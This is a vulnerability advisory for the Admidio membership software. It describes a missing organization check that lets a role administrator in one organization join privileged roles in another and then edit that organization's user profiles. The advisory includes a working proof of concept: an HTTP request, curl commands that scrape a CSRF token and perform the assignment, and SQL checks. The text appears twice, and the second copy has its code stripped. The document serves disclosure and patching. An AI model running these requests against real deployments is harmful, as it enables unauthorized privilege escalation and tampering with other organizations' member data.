Summary
A broken-access-control vulnerability in the role member-assignment feature lets a
low-privileged role administrator of one organization assign themselves (or any user) as a
member of roles in a different organization. In a multi-organization install, this allows a
user with no authority in organization B to gain a privileged membership there — and, because
login membership-gating is organization-scoped, to then log in to and operate inside
organization B (demonstrated: editing another organization's user profiles).
Severity: High.
Details
Security model (org-scoped). Admidio's authorization model is organization-scoped: actor
rights such as rol_edit_user, rol_assign_roles, etc. are computed only against the current
organization. User::checkRolesRight() (src/Users/Entity/User.php:288) filters with:
AND ( cat_org_id = ? -- $this->organizationId
OR cat_org_id IS NULL )
and $this->organizationId = $GLOBALS['gCurrentOrgId'] (User.php:133) — the active
organization. So the actor's rights are scoped to the organization they are logged into.
The bug — the target role is loaded and authorized with NO organization predicate.
modules/groups-roles/members_assignment.php:40-74 (mode=assign) loads the role by raw UUID
and checks only that the actor may assign members — never that the role belongs to the
actor's organization:
// create object of the committed role
$role = new Role($gDb);
$role->readDataByUuid($getRoleUuid); // <-- no cat_org_id filter
// check if user is allowed to assign members to this role
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
if ($getMode === 'assign') {
// change membership of that user (ajax request)
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); // CSRF protected
$user = new User($gDb, $gProfileFields);
$user->readDataByUuid($getUserUuid); // <-- target user, also by UUID only
if ((isset($_POST['memberFlag']) && $_POST['memberFlag'] === 'true') || $leadership) {
$role->startMembership($user->getValue('usr_id'), $leadership); // <-- write, no org check
} else {
$role->stopMembership($user->getValue('usr_id'));
}
echo 'success';
exit();
}
readDataByUuid() reads by UUID regardless of organization (src/Infrastructure/Entity/Entity.php:786):
return $this->readData(' AND ' . $this->columnPrefix . '_uuid = ? ', array($uuid));
Role::allowedToAssignMembers() (src/Roles/Entity/Role.php:99-119) never compares the role's
cat_org_id to the actor's organization — it only checks whether the actor is a role
administrator ("rol_assign_roles", scoped to the actor's own org) and that the role is not an
administrator role:
public function allowedToAssignMembers(User $user): bool
{
if ((int)$this->getValue('rol_valid') === 0) {
return false;
}
if ($user->isAdministratorRoles()) { // actor is a role admin IN THEIR OWN ORG
// only administrators are allowed to assign members to an administrator role
if ((int)$this->getValue('rol_administrator') === 0 || $user->isAdministrator()) {
return true; // <-- no cat_org_id check anywhere
}
} else {
// ...role-leader path (also no cat_org_id check)...
}
return false;
}
startMembership() (src/Roles/Entity/Role.php:810) writes the adm_members row with no
organization check.
Why this is exploitable, not just "an org switch": the actor's rights are org-scoped, so
an Org-A role administrator passes the gate for any non-administrator role in any
organization. The resulting adm_members write is a real membership in Org Beta. That
membership is what satisfies User::isMemberOfOrganization() (src/Users/Entity/User.php:1733,
checks cat_org_id = <active org>), so the attacker can then log in/switch to Org Beta — a
plain Org-B non-member is denied at login ("not an active member of this organization"). Once
in Org Beta, checkRolesRight('rol_edit_user') picks up the injected role's rol_edit_user=1,
yielding real Org-B privilege.
A secondary non-org-scoped data path (members_assignment_data.php) returns the
foreign-organization role's member list to the attacker.
Affects any deployment with more than one organization active.
PoC
Environment. Admidio with two organizations ORGA (org_id 1 = Org Alpha) and
ORGB (org_id 2 = Org Beta). attacker = role administrator of ORGA (role RoleAdminA,
rol_assign_roles=1, no role in ORGB). Target = Org Beta role Association's board
(rol_id 6 / role_uuid 711185fd-9613-421f-a4f3-33cdb7e9bdc3, cat_org_id 2,
rol_edit_user=1).
Step 1 — Authenticate as the attacker in Org Alpha.
# login (module posts usr_login_name, usr_password, org_shortname, adm_csrf_token)
# -> attacker@ORGA
Step 2 — Assign the attacker into the Org Beta role (this is the exact HTTP request the
member-assignment page's own JS sends when the attacker ticks their own member checkbox —
members_assignment.php:146-147):
POST /modules/groups-roles/members_assignment.php?mode=assign&role_uuid=711185fd-9613-421f-a4f3-33cdb7e9bdc3&user_uuid=fa22b6f9-d55c-49db-87fc-058acb70b2a7
Cookie: ADMIDIO_SESSION_ID=<attacker session>
Content-Type: application/x-www-form-urlencoded
memberFlag=true&leaderFlag=false&adm_csrf_token=<csrf token>
# HTTP 200, body: success
Equivalent curl:
TOKEN=$(curl -s -b cj.txt \
"http://localhost:8090/modules/groups-roles/members_assignment.php?mode=html&role_uuid=711185fd-9613-421f-a4f3-33cdb7e9bdc3" \
| grep -oE 'adm_csrf_token=[A-Za-z0-9]+' | head -1 | cut -d= -f2)
curl -s -b cj.txt -X POST \
-d "memberFlag=true&leaderFlag=false&adm_csrf_token=$TOKEN" \
"http://localhost:8090/modules/groups-roles/members_assignment.php?mode=assign&role_uuid=711185fd-9613-421f-a4f3-33cdb7e9bdc3&user_uuid=fa22b6f9-d55c-49db-87fc-058acb70b2a7"
# => success
This succeeds even though the attacker has zero Org Beta authority. DB afterwards:
SELECT m.mem_id, r.rol_name, c.cat_org_id FROM adm_members m
JOIN adm_roles r ON r.rol_id = m.mem_rol_id
JOIN adm_categories c ON c.cat_id = r.rol_cat_id WHERE m.mem_usr_id = 3;
-- 5 | Member | 1
-- 6 | RoleAdminA | 1
-- 18 | Association's board | 2 <-- injected cross-organization
Step 3 — Log into Org Beta (selecting ORGB at login). The injected membership now passes
isMemberOfOrganization(); a plain Org-B non-member (plainuser) is denied at the same step
with "Your login data were correct but you are not an active member of this organization."
Step 4 — Act inside Org Beta as a privileged board member. In Org Beta the injected
Association's board role grants rol_edit_user=1, so the attacker can open and save edits
to the Org Beta administrator's profile (modules/profile/profile_new.php). Verified DB write:
-- attacker's Org Beta session wrote the Org Beta admin's (usr_id 2) PHONE field:
-- adm_user_data.usd_value = '+15559990001' where usd_usr_id = 2 and usf_id = <PHONE>
(Test value reverted to NULL after capture.)
Impact
- A low-privileged role administrator of organization A can become a member of privileged
roles in organization B (those carrying rol_edit_user, rol_profile, rol_mail_to_all,
etc.), then log in to and act inside organization B — demonstrated by modifying the Org Beta
administrator's profile.
- A full administrator of organization A can additionally promote a controlled account into
organization B's Administrator role (full cross-organization takeover).
- The endpoint also exposes foreign-organization role member lists.
- CVSS 3.1 (role-admin case):
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N ≈ 8.1 (High);
worse (Critical) for the full-admin takeover case.
- CWE-862 Missing Authorization / CWE-639 Authorization Bypass (cross-organization / BOLA).
Anyone with a role-administrator or administrator account in any organization of a
multi-organization Admidio deployment is impacted.
CVE Reference: CVE-2026-109329
Link Reference: https://nvd.nist.gov/vuln/detail/cve-2026-109329
Summary
A broken-access-control vulnerability in the role member-assignment feature lets a
low-privileged role administrator of one organization assign themselves (or any user) as a
member of roles in a different organization. In a multi-organization install, this allows a
user with no authority in organization B to gain a privileged membership there — and, because
login membership-gating is organization-scoped, to then log in to and operate inside
organization B (demonstrated: editing another organization's user profiles).
Severity: High.
Details
Security model (org-scoped). Admidio's authorization model is organization-scoped: actor
rights such as
rol_edit_user,rol_assign_roles, etc. are computed only against the currentorganization.
User::checkRolesRight()(src/Users/Entity/User.php:288) filters with:and
$this->organizationId = $GLOBALS['gCurrentOrgId'](User.php:133) — the activeorganization. So the actor's rights are scoped to the organization they are logged into.
The bug — the target role is loaded and authorized with NO organization predicate.
modules/groups-roles/members_assignment.php:40-74(mode=assign) loads the role by raw UUIDand checks only that the actor may assign members — never that the role belongs to the
actor's organization:
readDataByUuid()reads by UUID regardless of organization (src/Infrastructure/Entity/Entity.php:786):Role::allowedToAssignMembers()(src/Roles/Entity/Role.php:99-119) never compares the role'scat_org_idto the actor's organization — it only checks whether the actor is a roleadministrator ("
rol_assign_roles", scoped to the actor's own org) and that the role is not anadministrator role:
startMembership()(src/Roles/Entity/Role.php:810) writes theadm_membersrow with noorganization check.
Why this is exploitable, not just "an org switch": the actor's rights are org-scoped, so
an Org-A role administrator passes the gate for any non-administrator role in any
organization. The resulting
adm_memberswrite is a real membership in Org Beta. Thatmembership is what satisfies
User::isMemberOfOrganization()(src/Users/Entity/User.php:1733,checks
cat_org_id = <active org>), so the attacker can then log in/switch to Org Beta — aplain Org-B non-member is denied at login ("not an active member of this organization"). Once
in Org Beta,
checkRolesRight('rol_edit_user')picks up the injected role'srol_edit_user=1,yielding real Org-B privilege.
A secondary non-org-scoped data path (
members_assignment_data.php) returns theforeign-organization role's member list to the attacker.
Affects any deployment with more than one organization active.
PoC
Environment. Admidio with two organizations
ORGA(org_id 1 = Org Alpha) andORGB(org_id 2 = Org Beta).attacker= role administrator of ORGA (roleRoleAdminA,rol_assign_roles=1, no role in ORGB). Target = Org Beta roleAssociation's board(
rol_id 6/role_uuid 711185fd-9613-421f-a4f3-33cdb7e9bdc3,cat_org_id 2,rol_edit_user=1).Step 1 — Authenticate as the attacker in Org Alpha.
Step 2 — Assign the attacker into the Org Beta role (this is the exact HTTP request the
member-assignment page's own JS sends when the attacker ticks their own
membercheckbox —members_assignment.php:146-147):Equivalent
curl:This succeeds even though the attacker has zero Org Beta authority. DB afterwards:
Step 3 — Log into Org Beta (selecting
ORGBat login). The injected membership now passesisMemberOfOrganization(); a plain Org-B non-member (plainuser) is denied at the same stepwith "Your login data were correct but you are not an active member of this organization."
Step 4 — Act inside Org Beta as a privileged board member. In Org Beta the injected
Association's boardrole grantsrol_edit_user=1, so the attacker can open and save editsto the Org Beta administrator's profile (
modules/profile/profile_new.php). Verified DB write:(Test value reverted to
NULLafter capture.)Impact
roles in organization B (those carrying
rol_edit_user,rol_profile,rol_mail_to_all,etc.), then log in to and act inside organization B — demonstrated by modifying the Org Beta
administrator's profile.
organization B's Administrator role (full cross-organization takeover).
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N≈ 8.1 (High);worse (Critical) for the full-admin takeover case.
Anyone with a role-administrator or administrator account in any organization of a
multi-organization Admidio deployment is impacted.
CVE Reference: CVE-2026-109329
Link Reference: https://nvd.nist.gov/vuln/detail/cve-2026-109329